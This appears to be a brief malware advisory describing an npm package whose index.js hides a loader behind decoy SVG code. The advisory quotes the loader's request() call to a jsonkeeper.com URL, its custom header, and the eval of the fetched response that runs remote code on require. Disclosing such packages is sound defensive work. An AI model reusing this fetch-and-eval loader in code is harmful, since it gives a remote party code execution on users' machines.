GCVE-110-OSM-2026-1373

Executes attacker-controlled JavaScript from https://www.jsonkeeper.com/b/NGY3C via npm 'request' library + eval on every require(). The payload is buried after 80 lines of decoy SVG utility code in index.js. index.js defines getPlugin() which calls request({ url: 'https://www.jsonkeeper.com/b/NGY3C', headers: { bearrtoken: 'logo' } }); on 200 response, eval(JSON.parse(body).model) executes the fetched code. The function is defined and implicitly available at require-time. Same jsonkeeper.com infrastructure and bearrtoken header as vite-plugin-compress-plus@0.5.4.